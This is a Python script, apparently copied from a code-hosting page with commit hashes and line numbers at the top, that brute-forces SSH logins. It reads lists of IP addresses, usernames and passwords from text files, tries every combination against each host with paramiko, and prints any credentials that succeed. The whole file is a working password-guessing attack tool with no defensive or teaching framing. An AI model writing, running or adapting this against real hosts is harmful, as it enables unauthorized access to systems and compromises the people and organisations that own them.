File size: 1,193 Bytes
0989636
 
bab5cff
72fbe31
0989636
 
 
bab5cff
0989636
 
 
 
bab5cff
0989636
 
 
bab5cff
0989636
 
 
 
 
9427829
0989636
9427829
0989636
 
 
 
 
 
 
bab5cff
0989636
fab4198
0989636
 
 
 
fab4198
0989636
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import paramiko
import socket
import asyncio

IP_LIST = []
USERNAME_LIST = []
PASSWORD_LIST = []

def read_file_lines(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()
        return [line.strip() for line in lines]

async def test_credentials(ip, username, password):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        client.connect(ip, username=username, password=password, timeout=5)
        print(f"Valid credentials found for IP: {ip}, Username: {username}, Password: {password}")
        client.close()
    except paramiko.AuthenticationException:
        print("نشد")
    except socket.error:
        print("نشد")

async def scan_ips(ip_list):
    tasks = []
    for ip in ip_list:
        for username in USERNAME_LIST:
            for password in PASSWORD_LIST:
                tasks.append(test_credentials(ip, username, password))
    
    await asyncio.gather(*tasks)

if __name__ == "__main__":
    IP_LIST = read_file_lines("ips.txt")
    USERNAME_LIST = read_file_lines("user.txt")
    PASSWORD_LIST = read_file_lines("pass.txt")
    
    asyncio.run(scan_ips(IP_LIST))